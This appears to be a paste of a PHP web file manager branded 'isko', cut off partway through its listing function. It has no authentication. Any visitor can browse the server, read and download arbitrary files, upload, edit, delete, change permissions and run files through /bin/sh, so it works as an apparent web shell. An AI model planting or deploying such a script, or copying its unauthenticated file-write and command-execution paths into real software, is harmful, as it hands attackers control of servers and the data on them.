· 8 years ago · Jul 16, 2018, 04:26 PM
1<?php
2/* security:
3bbb
4 */
5$lang = 'auto';
6
7/* Charset of output:
8 * possible values are described in the charset table at
9 * http://www.php.net/manual/en/function.htmlentities.php
10 * 'auto' - use the same charset as the words of my language are encoded
11 */
12$site_charset = 'auto';
13
14/* Homedir:
15 * For example: './' - the script's directory
16 */
17$homedir = './';
18
19/* Size of the edit textarea
20 */
21$editcols = 80;
22$editrows = 25;
23
24/* -------------------------------------------
25 * Optional configuration (remove # to enable)
26 */
27
28/* Permission of created directories:
29 * For example: 0705 would be 'drwx---r-x'.
30 */
31# $dirpermission = 0705;
32
33/* Permission of created files:
34 * For example: 0604 would be '-rw----r--'.
35 */
36# $filepermission = 0604;
37
38/* Filenames related to the apache web server:
39 */
40$htaccess = '.htaccess';
41$htpasswd = '.htpasswd';
42
43/* ------------------------------------------------------------------------- */
44
45if (get_magic_quotes_gpc()) {
46 array_walk($_GET, 'strip');
47 array_walk($_POST, 'strip');
48 array_walk($_REQUEST, 'strip');
49}
50
51if (array_key_exists('image', $_GET)) {
52 header('Content-Type: image/gif');
53 die(getimage($_GET['image']));
54}
55
56if (!function_exists('lstat')) {
57 function lstat ($filename) {
58 return stat($filename);
59 }
60}
61
62$delim = DIRECTORY_SEPARATOR;
63
64if (function_exists('php_uname')) {
65 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
66} else {
67 $win = ($delim == '\\') ? true : false;
68}
69
70if (!empty($_SERVER['PATH_TRANSLATED'])) {
71 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
72} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
73 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
74} elseif (function_exists('getcwd')) {
75 $scriptdir = getcwd();
76} else {
77 $scriptdir = '.';
78}
79$homedir = relative2absolute($homedir, $scriptdir);
80
81$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
82
83if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
84 $dir = relative2absolute($dir, $_POST['olddir']);
85}
86
87$directory = simplify_path(addslash($dir));
88
89$files = array();
90$action = '';
91if (!empty($_POST['submit_all'])) {
92 $action = $_POST['action_all'];
93 for ($i = 0; $i < $_POST['num']; $i++) {
94 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
95 $files[] = $_POST["file$i"];
96 }
97 }
98} elseif (!empty($_REQUEST['action'])) {
99 $action = $_REQUEST['action'];
100 $files[] = relative2absolute($_REQUEST['file'], $directory);
101} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
102 $files[] = $_FILES['upload'];
103 $action = 'upload';
104} elseif (array_key_exists('num', $_POST)) {
105 for ($i = 0; $i < $_POST['num']; $i++) {
106 if (array_key_exists("submit$i", $_POST)) break;
107 }
108 if ($i < $_POST['num']) {
109 $action = $_POST["action$i"];
110 $files[] = $_POST["file$i"];
111 }
112}
113if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
114 $files[] = relative2absolute($_POST['create_name'], $directory);
115 switch ($_POST['create_type']) {
116 case 'directory':
117 $action = 'create_directory';
118 break;
119 case 'file':
120 $action = 'create_file';
121 }
122}
123if (sizeof($files) == 0) $action = ''; else $file = reset($files);
124
125if ($lang == 'auto') {
126 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
127 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
128 } else {
129 $lang = 'en';
130 }
131}
132
133$words = getwords($lang);
134
135if ($site_charset == 'auto') {
136 $site_charset = $word_charset;
137}
138
139$cols = ($win) ? 4 : 7;
140
141if (!isset($dirpermission)) {
142 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
143}
144if (!isset($filepermission)) {
145 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
146}
147
148if (!empty($_SERVER['SCRIPT_NAME'])) {
149 $self = html(basename($_SERVER['SCRIPT_NAME']));
150} elseif (!empty($_SERVER['PHP_SELF'])) {
151 $self = html(basename($_SERVER['PHP_SELF']));
152} else {
153 $self = '';
154}
155
156if (!empty($_SERVER['SERVER_SOFTWARE'])) {
157 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
158 $apache = true;
159 } else {
160 $apache = false;
161 }
162} else {
163 $apache = true;
164}
165
166switch ($action) {
167
168case 'view':
169
170 if (is_script($file)) {
171
172 /* highlight_file is a mess! */
173 ob_start();
174 highlight_file($file);
175 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
176 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
177 ob_end_clean();
178
179 html_header();
180 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
181
182<hr />
183
184<table>
185<tr>
186<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
187<pre style="margin-top: 0"><code>';
188
189 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
190
191 echo '</code></pre>
192</td>
193<td style="text-align: left; vertical-align: top; padding-left: 3pt">
194<pre style="margin-top: 0">' . $src . '</pre>
195</td>
196</tr>
197</table>
198
199';
200
201 html_footer();
202
203 } else {
204
205 header('Content-Type: ' . getmimetype($file));
206 header('Content-Disposition: filename=' . basename($file));
207
208 readfile($file);
209
210 }
211
212 break;
213
214case 'download':
215
216 header('Pragma: public');
217 header('Expires: 0');
218 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
219 header('Content-Type: ' . getmimetype($file));
220 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
221 header('Content-Length: ' . filesize($file));
222
223 readfile($file);
224
225 break;
226
227case 'upload':
228
229 $dest = relative2absolute($file['name'], $directory);
230
231 if (@file_exists($dest)) {
232 listing_page(error('already_exists', $dest));
233 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
234 @chmod($dest, $filepermission);
235 listing_page(notice('uploaded', $file['name']));
236 } else {
237 listing_page(error('not_uploaded', $file['name']));
238 }
239
240 break;
241
242case 'create_directory':
243
244 if (@file_exists($file)) {
245 listing_page(error('already_exists', $file));
246 } else {
247 $old = @umask(0777 & ~$dirpermission);
248 if (@mkdir($file, $dirpermission)) {
249 listing_page(notice('created', $file));
250 } else {
251 listing_page(error('not_created', $file));
252 }
253 @umask($old);
254 }
255
256 break;
257
258case 'create_file':
259
260 if (@file_exists($file)) {
261 listing_page(error('already_exists', $file));
262 } else {
263 $old = @umask(0777 & ~$filepermission);
264 if (@touch($file)) {
265 edit($file);
266 } else {
267 listing_page(error('not_created', $file));
268 }
269 @umask($old);
270 }
271
272 break;
273
274case 'execute':
275
276 chdir(dirname($file));
277
278 $output = array();
279 $retval = 0;
280 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
281
282 $error = ($retval == 0) ? false : true;
283
284 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
285
286 if ($error) {
287 listing_page(error('not_executed', $file, implode("\n", $output)));
288 } else {
289 listing_page(notice('executed', $file, implode("\n", $output)));
290 }
291
292 break;
293
294case 'delete':
295
296 if (!empty($_POST['no'])) {
297 listing_page();
298 } elseif (!empty($_POST['yes'])) {
299
300 $failure = array();
301 $success = array();
302
303 foreach ($files as $file) {
304 if (del($file)) {
305 $success[] = $file;
306 } else {
307 $failure[] = $file;
308 }
309 }
310
311 $message = '';
312 if (sizeof($failure) > 0) {
313 $message = error('not_deleted', implode("\n", $failure));
314 }
315 if (sizeof($success) > 0) {
316 $message .= notice('deleted', implode("\n", $success));
317 }
318
319 listing_page($message);
320
321 } else {
322
323 html_header();
324
325 echo '<form action="' . $self . '" method="post">
326<table class="dialog">
327<tr>
328<td class="dialog">
329';
330
331 request_dump();
332
333 echo "\t<b>" . word('really_delete') . '</b>
334 <p>
335';
336
337 foreach ($files as $file) {
338 echo "\t" . html($file) . "<br />\n";
339 }
340
341 echo ' </p>
342 <hr />
343 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
344 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
345</td>
346</tr>
347</table>
348</form>
349
350';
351
352 html_footer();
353
354 }
355
356 break;
357
358case 'rename':
359
360 if (!empty($_POST['destination'])) {
361
362 $dest = relative2absolute($_POST['destination'], $directory);
363
364 if (!@file_exists($dest) && @rename($file, $dest)) {
365 listing_page(notice('renamed', $file, $dest));
366 } else {
367 listing_page(error('not_renamed', $file, $dest));
368 }
369
370 } else {
371
372 $name = basename($file);
373
374 html_header();
375
376 echo '<form action="' . $self . '" method="post">
377
378<table class="dialog">
379<tr>
380<td class="dialog">
381 <input type="hidden" name="action" value="rename" />
382 <input type="hidden" name="file" value="' . html($file) . '" />
383 <input type="hidden" name="dir" value="' . html($directory) . '" />
384 <b>' . word('rename_file') . '</b>
385 <p>' . html($file) . '</p>
386 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
387 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
388 <hr />
389 <input type="submit" value="' . word('rename') . '" />
390</td>
391</tr>
392</table>
393
394<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
395
396</form>
397
398';
399
400 html_footer();
401
402 }
403
404 break;
405
406case 'move':
407
408 if (!empty($_POST['destination'])) {
409
410 $dest = relative2absolute($_POST['destination'], $directory);
411
412 $failure = array();
413 $success = array();
414
415 foreach ($files as $file) {
416 $filename = substr($file, strlen($directory));
417 $d = $dest . $filename;
418 if (!@file_exists($d) && @rename($file, $d)) {
419 $success[] = $file;
420 } else {
421 $failure[] = $file;
422 }
423 }
424
425 $message = '';
426 if (sizeof($failure) > 0) {
427 $message = error('not_moved', implode("\n", $failure), $dest);
428 }
429 if (sizeof($success) > 0) {
430 $message .= notice('moved', implode("\n", $success), $dest);
431 }
432
433 listing_page($message);
434
435 } else {
436
437 html_header();
438
439 echo '<form action="' . $self . '" method="post">
440
441<table class="dialog">
442<tr>
443<td class="dialog">
444';
445
446 request_dump();
447
448 echo "\t<b>" . word('move_files') . '</b>
449 <p>
450';
451
452 foreach ($files as $file) {
453 echo "\t" . html($file) . "<br />\n";
454 }
455
456 echo ' </p>
457 <hr />
458 ' . word('destination') . ':
459 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
460 <input type="submit" value="' . word('move') . '" />
461</td>
462</tr>
463</table>
464
465<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
466
467</form>
468
469';
470
471 html_footer();
472
473 }
474
475 break;
476
477case 'copy':
478
479 if (!empty($_POST['destination'])) {
480
481 $dest = relative2absolute($_POST['destination'], $directory);
482
483 if (@is_dir($dest)) {
484
485 $failure = array();
486 $success = array();
487
488 foreach ($files as $file) {
489 $filename = substr($file, strlen($directory));
490 $d = addslash($dest) . $filename;
491 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
492 $success[] = $file;
493 } else {
494 $failure[] = $file;
495 }
496 }
497
498 $message = '';
499 if (sizeof($failure) > 0) {
500 $message = error('not_copied', implode("\n", $failure), $dest);
501 }
502 if (sizeof($success) > 0) {
503 $message .= notice('copied', implode("\n", $success), $dest);
504 }
505
506 listing_page($message);
507
508 } else {
509
510 if (!@file_exists($dest) && @copy($file, $dest)) {
511 listing_page(notice('copied', $file, $dest));
512 } else {
513 listing_page(error('not_copied', $file, $dest));
514 }
515
516 }
517
518 } else {
519
520 html_header();
521
522 echo '<form action="' . $self . '" method="post">
523
524<table class="dialog">
525<tr>
526<td class="dialog">
527';
528
529 request_dump();
530
531 echo "\n<b>" . word('copy_files') . '</b>
532 <p>
533';
534
535 foreach ($files as $file) {
536 echo "\t" . html($file) . "<br />\n";
537 }
538
539 echo ' </p>
540 <hr />
541 ' . word('destination') . ':
542 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
543 <input type="submit" value="' . word('copy') . '" />
544</td>
545</tr>
546</table>
547
548<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
549
550</form>
551
552';
553
554 html_footer();
555
556 }
557
558 break;
559
560case 'create_symlink':
561
562 if (!empty($_POST['destination'])) {
563
564 $dest = relative2absolute($_POST['destination'], $directory);
565
566 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
567
568 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
569
570 if (!@file_exists($dest) && @symlink($file, $dest)) {
571 listing_page(notice('symlinked', $file, $dest));
572 } else {
573 listing_page(error('not_symlinked', $file, $dest));
574 }
575
576 } else {
577
578 html_header();
579
580 echo '<form action="' . $self . '" method="post">
581
582<table class="dialog" id="symlink">
583<tr>
584 <td style="vertical-align: top">' . word('destination') . ': </td>
585 <td>
586 <b>' . html($file) . '</b><br />
587 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
588 <label for="checkbox_relative">' . word('relative') . '</label>
589 <input type="hidden" name="action" value="create_symlink" />
590 <input type="hidden" name="file" value="' . html($file) . '" />
591 <input type="hidden" name="dir" value="' . html($directory) . '" />
592 </td>
593</tr>
594<tr>
595 <td>' . word('symlink') . ': </td>
596 <td>
597 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
598 <input type="submit" value="' . word('create_symlink') . '" />
599 </td>
600</tr>
601</table>
602
603<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
604
605</form>
606
607';
608
609 html_footer();
610
611 }
612
613 break;
614
615case 'edit':
616
617 if (!empty($_POST['save'])) {
618
619 $content = str_replace("\r\n", "\n", $_POST['content']);
620
621 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
622 listing_page(notice('saved', $file));
623 } else {
624 listing_page(error('not_saved', $file));
625 }
626
627 } else {
628
629 if (@is_readable($file) && @is_writable($file)) {
630 edit($file);
631 } else {
632 listing_page(error('not_edited', $file));
633 }
634
635 }
636
637 break;
638
639case 'permission':
640
641 if (!empty($_POST['set'])) {
642
643 $mode = 0;
644 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
645 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
646 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
647
648 if (@chmod($file, $mode)) {
649 listing_page(notice('permission_set', $file, decoct($mode)));
650 } else {
651 listing_page(error('permission_not_set', $file, decoct($mode)));
652 }
653
654 } else {
655
656 html_header();
657
658 $mode = fileperms($file);
659
660 echo '<form action="' . $self . '" method="post">
661
662<table class="dialog">
663<tr>
664<td class="dialog">
665
666 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
667
668 <hr />
669
670 <table id="permission">
671 <tr>
672 <td></td>
673 <td style="border-right: 1px solid black">' . word('owner') . '</td>
674 <td style="border-right: 1px solid black">' . word('group') . '</td>
675 <td>' . word('other') . '</td>
676 </tr>
677 <tr>
678 <td style="text-align: right">' . word('read') . ':</td>
679 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
680 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
681 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
682 </tr>
683 <tr>
684 <td style="text-align: right">' . word('write') . ':</td>
685 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
686 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
687 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
688 </tr>
689 <tr>
690 <td style="text-align: right">' . word('execute') . ':</td>
691 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
692 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
693 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
694 </tr>
695 </table>
696
697 <hr />
698
699 <input type="submit" name="set" value="' . word('set') . '" />
700
701 <input type="hidden" name="action" value="permission" />
702 <input type="hidden" name="file" value="' . html($file) . '" />
703 <input type="hidden" name="dir" value="' . html($directory) . '" />
704
705</td>
706</tr>
707</table>
708
709<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
710
711</form>
712
713';
714
715 html_footer();
716
717 }
718
719 break;
720
721default:
722
723 listing_page();
724
725}
726
727/* ------------------------------------------------------------------------- */
728
729function getlist ($directory) {
730 global $delim, $win;
731
732 if ($d = @opendir($directory)) {
733
734 while (($filename = @readdir($d)) !== false) {
735
736 $path = $directory . $filename;
737
738 if ($stat = @lstat($path)) {
739
740 $file = array(
741 'filename' => $filename,
742 'path' => $path,
743 'is_file' => @is_file($path),
744 'is_dir' => @is_dir($path),
745 'is_link' => @is_link($path),
746 'is_readable' => @is_readable($path),
747 'is_writable' => @is_writable($path),
748 'size' => $stat['size'],
749 'permission' => $stat['mode'],
750 'owner' => $stat['uid'],
751 'group' => $stat['gid'],
752 'mtime' => @filemtime($path),
753 'atime' => @fileatime($path),
754 'ctime' => @filectime($path)
755 );
756
757 if ($file['is_dir']) {
758 $file['is_executable'] = @file_exists($path . $delim . '.');
759 } else {
760 if (!$win) {
761 $file['is_executable'] = @is_executable($path);
762 } else {
763 $file['is_executable'] = true;
764 }
765 }
766
767 if ($file['is_link']) $file['target'] = @readlink($path);
768
769 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
770 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
771
772 $files[] = $file;
773
774 }
775
776 }
777
778 return $files;
779
780 } else {
781 return false;
782 }
783
784}
785
786function sortlist ($list, $key, $reverse) {
787
788 $dirs = array();
789 $files = array();
790
791 for ($i = 0; $i < sizeof($list); $i++) {
792 if ($list[$i]['is_dir']) $dirs[] = $list[$i];
793 else $files[] = $list[$i];
794 }
795
796 quicksort($dirs, 0, sizeof($dirs) - 1, $key);
797 if ($reverse) $dirs = array_reverse($dirs);
798
799 quicksort($files, 0, sizeof($files) - 1, $key);
800 if ($reverse) $files = array_reverse($files);
801
802 return array_merge($dirs, $files);
803
804}
805
806function quicksort (&$array, $first, $last, $key) {
807
808 if ($first < $last) {
809
810 $cmp = $array[floor(($first + $last) / 2)][$key];
811
812 $l = $first;
813 $r = $last;
814
815 while ($l <= $r) {
816
817 while ($array[$l][$key] < $cmp) $l++;
818 while ($array[$r][$key] > $cmp) $r--;
819
820 if ($l <= $r) {
821
822 $tmp = $array[$l];
823 $array[$l] = $array[$r];
824 $array[$r] = $tmp;
825
826 $l++;
827 $r--;
828
829 }
830
831 }
832
833 quicksort($array, $first, $r, $key);
834 quicksort($array, $l, $last, $key);
835
836 }
837
838}
839
840function permission_octal2string ($mode) {
841
842 if (($mode & 0xC000) === 0xC000) {
843 $type = 's';
844 } elseif (($mode & 0xA000) === 0xA000) {
845 $type = 'l';
846 } elseif (($mode & 0x8000) === 0x8000) {
847 $type = '-';
848 } elseif (($mode & 0x6000) === 0x6000) {
849 $type = 'b';
850 } elseif (($mode & 0x4000) === 0x4000) {
851 $type = 'd';
852 } elseif (($mode & 0x2000) === 0x2000) {
853 $type = 'c';
854 } elseif (($mode & 0x1000) === 0x1000) {
855 $type = 'p';
856 } else {
857 $type = '?';
858 }
859
860 $owner = ($mode & 00400) ? 'r' : '-';
861 $owner .= ($mode & 00200) ? 'w' : '-';
862 if ($mode & 0x800) {
863 $owner .= ($mode & 00100) ? 's' : 'S';
864 } else {
865 $owner .= ($mode & 00100) ? 'x' : '-';
866 }
867
868 $group = ($mode & 00040) ? 'r' : '-';
869 $group .= ($mode & 00020) ? 'w' : '-';
870 if ($mode & 0x400) {
871 $group .= ($mode & 00010) ? 's' : 'S';
872 } else {
873 $group .= ($mode & 00010) ? 'x' : '-';
874 }
875
876 $other = ($mode & 00004) ? 'r' : '-';
877 $other .= ($mode & 00002) ? 'w' : '-';
878 if ($mode & 0x200) {
879 $other .= ($mode & 00001) ? 't' : 'T';
880 } else {
881 $other .= ($mode & 00001) ? 'x' : '-';
882 }
883
884 return $type . $owner . $group . $other;
885
886}
887
888function is_script ($filename) {
889 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
890}
891
892function getmimetype ($filename) {
893 static $mimes = array(
894 '\.jpg$|\.jpeg$' => 'image/jpeg',
895 '\.gif$' => 'image/gif',
896 '\.png$' => 'image/png',
897 '\.html$|\.html$' => 'text/html',
898 '\.txt$|\.asc$' => 'text/plain',
899 '\.xml$|\.xsl$' => 'application/xml',
900 '\.pdf$' => 'application/pdf'
901 );
902
903 foreach ($mimes as $regex => $mime) {
904 if (eregi($regex, $filename)) return $mime;
905 }
906
907 // return 'application/octet-stream';
908 return 'text/plain';
909
910}
911
912function del ($file) {
913 global $delim;
914
915 if (!file_exists($file)) return false;
916
917 if (@is_dir($file) && !@is_link($file)) {
918
919 $success = false;
920
921 if (@rmdir($file)) {
922
923 $success = true;
924
925 } elseif ($dir = @opendir($file)) {
926
927 $success = true;
928
929 while (($f = readdir($dir)) !== false) {
930 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
931 $success = false;
932 }
933 }
934 closedir($dir);
935
936 if ($success) $success = @rmdir($file);
937
938 }
939
940 return $success;
941
942 }
943
944 return @unlink($file);
945
946}
947
948function addslash ($directory) {
949 global $delim;
950
951 if (substr($directory, -1, 1) != $delim) {
952 return $directory . $delim;
953 } else {
954 return $directory;
955 }
956
957}
958
959function relative2absolute ($string, $directory) {
960
961 if (path_is_relative($string)) {
962 return simplify_path(addslash($directory) . $string);
963 } else {
964 return simplify_path($string);
965 }
966
967}
968
969function path_is_relative ($path) {
970 global $win;
971
972 if ($win) {
973 return (substr($path, 1, 1) != ':');
974 } else {
975 return (substr($path, 0, 1) != '/');
976 }
977
978}
979
980function absolute2relative ($directory, $target) {
981 global $delim;
982
983 $path = '';
984 while ($directory != $target) {
985 if ($directory == substr($target, 0, strlen($directory))) {
986 $path .= substr($target, strlen($directory));
987 break;
988 } else {
989 $path .= '..' . $delim;
990 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
991 }
992 }
993 if ($path == '') $path = '.';
994
995 return $path;
996
997}
998
999function simplify_path ($path) {
1000 global $delim;
1001
1002 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
1003 $path = realpath($path);
1004 if (@is_dir($path)) {
1005 return addslash($path);
1006 } else {
1007 return $path;
1008 }
1009 }
1010
1011 $pattern = $delim . '.' . $delim;
1012
1013 if (@is_dir($path)) {
1014 $path = addslash($path);
1015 }
1016
1017 while (strpos($path, $pattern) !== false) {
1018 $path = str_replace($pattern, $delim, $path);
1019 }
1020
1021 $e = addslashes($delim);
1022 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1023
1024 while (ereg($regex, $path)) {
1025 $path = ereg_replace($regex, $delim, $path);
1026 }
1027
1028 return $path;
1029
1030}
1031
1032function human_filesize ($filesize) {
1033
1034 $suffices = 'kMGTPE';
1035
1036 $n = 0;
1037 while ($filesize >= 1000) {
1038 $filesize /= 1024;
1039 $n++;
1040 }
1041
1042 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1043
1044 if (strpos($filesize, '.') !== false) {
1045 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1046 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1047 }
1048 }
1049
1050 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1051
1052 return $filesize . " {$suffix}B";
1053
1054}
1055
1056function strip (&$str) {
1057 $str = stripslashes($str);
1058}
1059
1060/* ------------------------------------------------------------------------- */
1061
1062function listing_page ($message = null) {
1063 global $self, $directory, $sort, $reverse;
1064
1065 html_header();
1066
1067 $list = getlist($directory);
1068
1069 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1070 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1071
1072 $list = sortlist($list, $sort, $reverse);
1073
1074 echo '<h1 style="margin-bottom: 0">isko</h1>
1075
1076<form enctype="multipart/form-data" action="' . $self . '" method="post">
1077
1078<table id="main">
1079';
1080
1081 directory_choice();
1082
1083 if (!empty($message)) {
1084 spacer();
1085 echo $message;
1086 }
1087
1088 if (@is_writable($directory)) {
1089 upload_box();
1090 create_box();
1091 } else {
1092 spacer();
1093 }
1094
1095 if ($list) {
1096 listing($list);
1097 } else {
1098 echo error('not_readable', $directory);
1099 }
1100
1101 echo '</table>
1102
1103</form>
1104
1105';
1106
1107 html_footer();
1108
1109}
1110
1111function listing ($list) {
1112 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1113
1114 echo '<tr class="listing">
1115 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1116';
1117
1118 column_title('filename', $sort, $reverse);
1119 column_title('size', $sort, $reverse);
1120
1121 if (!$win) {
1122 column_title('permission', $sort, $reverse);
1123 column_title('owner', $sort, $reverse);
1124 column_title('group', $sort, $reverse);
1125 }
1126
1127 echo ' <th class="functions">' . word('functions') . '</th>
1128</tr>
1129';
1130
1131 for ($i = 0; $i < sizeof($list); $i++) {
1132 $file = $list[$i];
1133
1134 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1135 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1136 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1137
1138 echo '<tr class="listing">
1139 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1140 <td class="filename" title="' . html($timestamps) . '">';
1141
1142 if ($file['is_link']) {
1143
1144 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1145 echo html($file['filename']) . ' → ';
1146
1147 $real_file = relative2absolute($file['target'], $directory);
1148
1149 if (@is_readable($real_file)) {
1150 if (@is_dir($real_file)) {
1151 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1152 } else {
1153 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1154 }
1155 } else {
1156 echo html($file['target']);
1157 }
1158
1159 } elseif ($file['is_dir']) {
1160
1161 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1162 if ($win || $file['is_executable']) {
1163 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1164 } else {
1165 echo html($file['filename']);
1166 }
1167 echo ' ]';
1168
1169 } else {
1170
1171 if (substr($file['filename'], 0, 1) == '.') {
1172 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1173 } else {
1174 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1175 }
1176
1177 if ($file['is_file'] && $file['is_readable']) {
1178 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1179 } else {
1180 echo html($file['filename']);
1181 }
1182
1183 }
1184
1185 if ($file['size'] >= 1000) {
1186 $human = ' title="' . human_filesize($file['size']) . '"';
1187 } else {
1188 $human = '';
1189 }
1190
1191 echo "</td>\n";
1192
1193 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1194
1195 if (!$win) {
1196
1197 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1198
1199 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1200 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1201 echo html(permission_octal2string($file['permission']));
1202 if ($l) echo '</a>';
1203
1204 echo "</td>\n";
1205
1206 if (array_key_exists('owner_name', $file)) {
1207 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1208 } else {
1209 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1210 }
1211
1212 if (array_key_exists('group_name', $file)) {
1213 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1214 } else {
1215 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1216 }
1217
1218 }
1219
1220 echo ' <td class="functions">
1221 <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1222';
1223
1224 $actions = array();
1225 if (function_exists('symlink')) {
1226 $actions[] = 'create_symlink';
1227 }
1228 if (@is_writable(dirname($file['path']))) {
1229 $actions[] = 'delete';
1230 $actions[] = 'rename';
1231 $actions[] = 'move';
1232 }
1233 if ($file['is_file'] && $file['is_readable']) {
1234 $actions[] = 'copy';
1235 $actions[] = 'download';
1236 if ($file['is_writable']) $actions[] = 'edit';
1237 }
